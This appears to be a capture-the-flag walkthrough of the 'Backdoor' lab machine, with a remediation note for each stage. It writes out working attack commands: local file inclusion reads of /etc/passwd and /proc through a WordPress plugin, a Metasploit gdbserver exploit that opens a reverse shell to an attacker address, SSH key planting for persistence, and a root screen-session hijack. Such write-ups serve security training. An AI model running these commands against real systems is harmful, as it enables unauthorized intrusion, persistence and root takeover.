← all walkthroughs

Backdoor

Linux· Easy· Web
owned
2026-07-06
time to own
11m36s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Target backdoor ($TARGET) was fully compromised through a two-stage attack chain. An unauthenticated local file inclusion flaw in the WordPress ebook-download plugin (v1.1) let me read arbitrary files on disk — including Linux /proc entries that exposed a remote debugging service (gdbserver) silently listening on port 1337. Metasploit's gdbserver exploit module injected a reverse shell payload through the debugger protocol, landing a shell as the system user and capturing the user flag.

Privilege escalation required only a single command: the GNU screen binary on the host carried the SUID root bit, and root had left an active named screen session running. Any local user could attach to that session instantly, granting a root terminal and the final flag.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"

Attack path — how the box was taken

1EnumerationNetwork port and service enumeration (T1046)
Mapped open ports and identified WordPress on port 80 plus an unknown service on port 1337
A TCP port scan of the target revealed three listening services: SSH on port 22, Apache serving a WordPress site on port 80, and an unidentified service on port 1337 reported by Nmap as 'waste?'. Port 1337 was not yet understood but was flagged for further investigation after the WordPress surface was explored.
Nmap service scan: 22/tcp OpenSSH 8.2p1, 80/tcp Apache 2.4.41 (WordPress), 1337/tcp unidentified.
Exact commands 1
Full TCP scan with version detection and default scripts to enumerate all open ports.
nmap -sV -sC -p- --min-rate 5000 -T4 $TARGET
2ExploitationUnauthenticated Local File Inclusion (CVE-2016-10924)
Exploited an unauthenticated file-read flaw in the WordPress ebook-download plugin to read arbitrary server files
Plugin enumeration against the WordPress site identified the ebook-download plugin at version 1.1, which is publicly known to be vulnerable to unauthenticated local file inclusion via the ebookdownloadurl parameter in filedownload.php. No login is required. Any file the web server process can read — configuration files, SSH keys, system files — can be retrieved by any anonymous visitor. A proof-of-concept read of /etc/passwd confirmed the flaw was fully exploitable.
Curl .../wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/etc/passwd returned /etc/passwd contents without authentication.
Exact commands 2
Enumerate installed WordPress plugins and their versions; identifies ebook-download v1.1.
wpscan --url http://$TARGET --enumerate p --plugins-detection aggressive
Confirm unauthenticated LFI by reading /etc/passwd.
curl -s "http://$TARGET/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/etc/passwd"
FixRemove the ebook-download WordPress plugin immediatelyCritical
WeaknessThe ebook-download plugin v1.1 accepted a file path from any anonymous visitor and returned that file's full contents, including sensitive /proc entries. This gave any internet user free read access to every file the web server process could reach — config files, SSH keys, and process memory.
FixDeactivate and delete the ebook-download plugin immediately from the WordPress admin panel (Plugins → Deactivate → Delete). No security patch exists; the plugin is unmaintained. As defence-in-depth, configure php.ini open_basedir to restrict the web process to only the web root, which prevents /proc and /etc reads even if another plugin introduces a similar flaw. Regularly audit all installed plugins against the WPScan Vulnerability Database before deployment.
3ExploitationLFI-assisted process discovery via /proc/[pid]/cmdline
Used the file-read flaw to inspect running processes and discover a remote debugging service on port 1337
The Linux /proc pseudo-filesystem exposes the full command line of every running process. By iterating /proc/<pid>/cmdline through the LFI, my found PID 1845 running 'gdbserver --once 0.0.0.0:1337 /bin/true'. This explained port 1337 and transformed the file-read vulnerability into a path to remote code execution: gdbserver's remote protocol allows a connected client to load and execute arbitrary programs on the host.
Curl .../filedownload.php?ebookdownloadurl=/proc/1845/cmdline returned 'gdbserver --once 0.0.0.0:1337 /bin/true'.
Exact commands 2
Iterate /proc entries; null bytes between arguments are converted to spaces for readability.
for pid in $(seq 1 2000); do out=$(curl -s "http://$TARGET/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/proc/$pid/cmdline" | tr '\0' ' '); [ -n "$out" ] && echo "$pid: $out"; done
Read the confirmed gdbserver process command line directly once the PID is known.
curl -s "http://$TARGET/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/proc/1845/cmdline" | tr '\0' ' '
4ExploitationGDBserver Remote Code Execution (T1203)
Exploited the exposed gdbserver service to obtain a remote shell as the system user
GDB server's remote debug protocol is designed to give a debugger complete control over a target process, including the ability to load and execute arbitrary code. Metasploit's exploit/multi/gdb/gdb_server_exec module sends a crafted ELF binary to the debugger, which executes it on the server. Because gdbserver was running as the 'user' account, the resulting reverse shell landed with user-level privileges, providing immediate access to the user flag in /home/user/user.txt.
Metasploit log: '[metasploit exploit/multi/gdb/gdb_server_exec] Command shell SESSION 1 OPENED and held.'
Exact commands 2
Replace $ATTACKER_IP with the HTB VPN interface IP (tun0). The linux/x64 payload is required for this 64-bit Ubuntu target.
msfconsole -q -x "use exploit/multi/gdb/gdb_server_exec; set RHOSTS $TARGET; set RPORT 1337; set PAYLOAD linux/x64/shell_reverse_tcp; set LHOST $ATTACKER_IP; set LPORT 4444; run"
Run inside the Metasploit session to read the user flag. Returned value: <user.txt>
cat /home/user/user.txt
FixRemove gdbserver from production systems and block all remote debugging ports at the firewallCritical
WeaknessGDB server's remote protocol grants a connected client complete control over the debugged process, including the ability to load and run arbitrary code. Binding it to 0.0.0.0 on an internet-facing server with no authentication is functionally identical to an unauthenticated remote code execution backdoor.
FixUninstall gdbserver from all production hosts ('sudo apt purge gdbserver'). Enforce a firewall policy (ufw/iptables) that blocks all non-standard ports by default and explicitly denies outbound access on high-numbered ports from the web server process. If remote debugging is genuinely required in a specific non-production environment, restrict access to a single trusted management IP and require an encrypted SSH tunnel — never bind directly to 0.0.0.0.
5Post-ExploitationSSH authorized_keys persistence (T1098.004)
Planted an SSH key to establish a stable, interactive terminal session
The Metasploit reverse shell was non-interactive and could not run commands requiring a full TTY. To attach to a screen session in the next step, I generated an SSH key pair on the attack machine, then used the live shell to append the public key to the user's authorized_keys file. This gave a stable, fully interactive SSH session using the planted private key.
Ssh -tt -i /tmp/backdoor_user_key user@$TARGET, confirming the key was planted and used.
Exact commands 3
Run on the attack machine — generates the key pair at /tmp/backdoor_user_key and /tmp/backdoor_user_key.pub.
ssh-keygen -t rsa -b 2048 -f /tmp/backdoor_user_key -N ''
Run inside the Metasploit shell on the target — paste the public key content in place of the placeholder.
mkdir -p /home/user/.ssh && chmod 700 /home/user/.ssh && echo '<contents of /tmp/backdoor_user_key.pub>' >> /home/user/.ssh/authorized_keys && chmod 600 /home/user/.ssh/authorized_keys
Connect from the attack machine using the planted key for a stable interactive session.
ssh -tt -i /tmp/backdoor_user_key -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null user@$TARGET
6Privilege EscalationSUID binary abuse / GNU screen session hijacking (T1548.001)
Hijacked a root-owned GNU screen session via the SUID screen binary, gaining full root access
Enumeration of SUID binaries revealed that /usr/bin/screen carried the SUID root bit, meaning it executes with root privileges regardless of the calling user. Root had left an active, named screen session ('root/root') running unattended. Because screen ran as root, any local user could attach to that session using a single 'screen -x root/root' command, instantly taking over a live root terminal. I attached to the session over their SSH connection and read the root flag.
Ssh -tt -i /tmp/backdoor_user_key user@$TARGET 'export TERM=xterm; screen -x root/root' produced a root shell with root.txt.
Exact commands 3
From the user SSH session — enumerate all SUID binaries; confirms /usr/bin/screen is SUID root.
find / -perm -4000 -type f 2>/dev/null
List active screen sessions; should show root's running session labelled something like '1234.root/root'.
screen -list
Returned value: <root.txt>
set -o pipefail; { sleep 1; printf 'whoami\ncat /root/root.txt\nexit\n'; sleep 1; } | timeout -k 3 12 ssh -tt -i /tmp/backdoor_user_key -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null user@$TARGET 'export TERM=xterm; screen -x root/root'
FixRemove the SUID bit from GNU screen and prohibit unattended root terminal sessionsHigh
WeaknessThe screen binary had the SUID root bit set, so executing it granted root privileges to any local user. Root also left an active named screen session running unattended. Together these two conditions let any user who could log in — even with the lowest privileges — take over a live root terminal in one command.
FixRemove the SUID bit from screen immediately: 'sudo chmod u-s /usr/bin/screen'. Run a full SUID/SGID audit quarterly: 'find / -perm /6000 -type f 2>/dev/null', and remove the bit from every binary that does not have a documented, tested requirement for it. Establish a policy that interactive root sessions must be closed when unattended; use 'sudo -i' or 'sudo su' with session logging (e.g., auditd) rather than persistent root terminals, and configure the system to terminate idle privileged sessions automatically (TMOUT in /etc/profile).

Attack patterns used

The transferable techniques behind this compromise.

CMS Exploitation (WordPress/Joomla/Drupal)WebT1190

What it is

Content management systems and their plugins/themes are a large attack surface: known-vulnerable versions, exposed admin panels, weak credentials, and insecure plugins lead to authenticated or unauthenticated RCE. wpscan enumerates WordPress versions/plugins/users; Joomla and Drupal have their own well-known RCE chains (e.g. Drupalgeddon).

Why it works

CMS deployments lag on patching and accumulate third-party plugins of varying quality, while admin interfaces are exposed. Remediate by patching core+plugins promptly, removing unused extensions, restricting admin access, and enforcing strong auth.

Read more

Local File InclusionWebT1190

What it is

A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.

Why it works

The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.

Read more

Public Exploit / Metasploit ModuleService RCET1210

What it is

Many footholds come from matching a fingerprinted service/version to a public exploit and firing a vetted Metasploit module. The disciplined flow is: confirm the version, run the module's check to validate exploitability, set LHOST/LPORT, then exploit — yielding a Meterpreter/command session in the service's context.

Why it works

Unpatched, internet-known vulnerable software is the root cause; the module just operationalizes published research. Remediate with timely patching, version hygiene, and reducing exposed service surface.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
80/tcp
1337/tcp